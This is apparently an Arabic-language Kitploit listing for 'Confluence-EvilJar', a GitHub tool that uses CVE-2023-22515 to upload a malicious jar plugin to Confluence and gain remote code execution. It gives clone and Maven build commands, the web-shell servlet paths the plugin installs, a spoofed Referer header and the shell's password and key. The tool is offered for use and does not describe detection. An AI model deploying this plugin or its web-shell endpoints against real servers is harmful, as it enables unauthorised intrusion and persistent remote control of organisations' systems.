Confluence-EvilJar — بالتعاون مع CVE-2023-22515 لرفع حزمة jar من الخلفية وتحقيق RCE | Kitploit

aaaademo/Confluence-EvilJar

بالتعاون مع CVE-2023-22515، رفع حزمة jar من الواجهة الخلفية لتنفيذ RCE

git clone https://github.com/aaaademo/Confluence-EvilJar
cd Confluence-EvilJar
mvn package

http://confluence.local/plugins/servlet/testbin/cmServlet

http://confluence.local/plugins/servlet/testbin/gzServlet

Referer: https://www.baidu.com/

p@ssw0rd / key

Confluence-EvilJar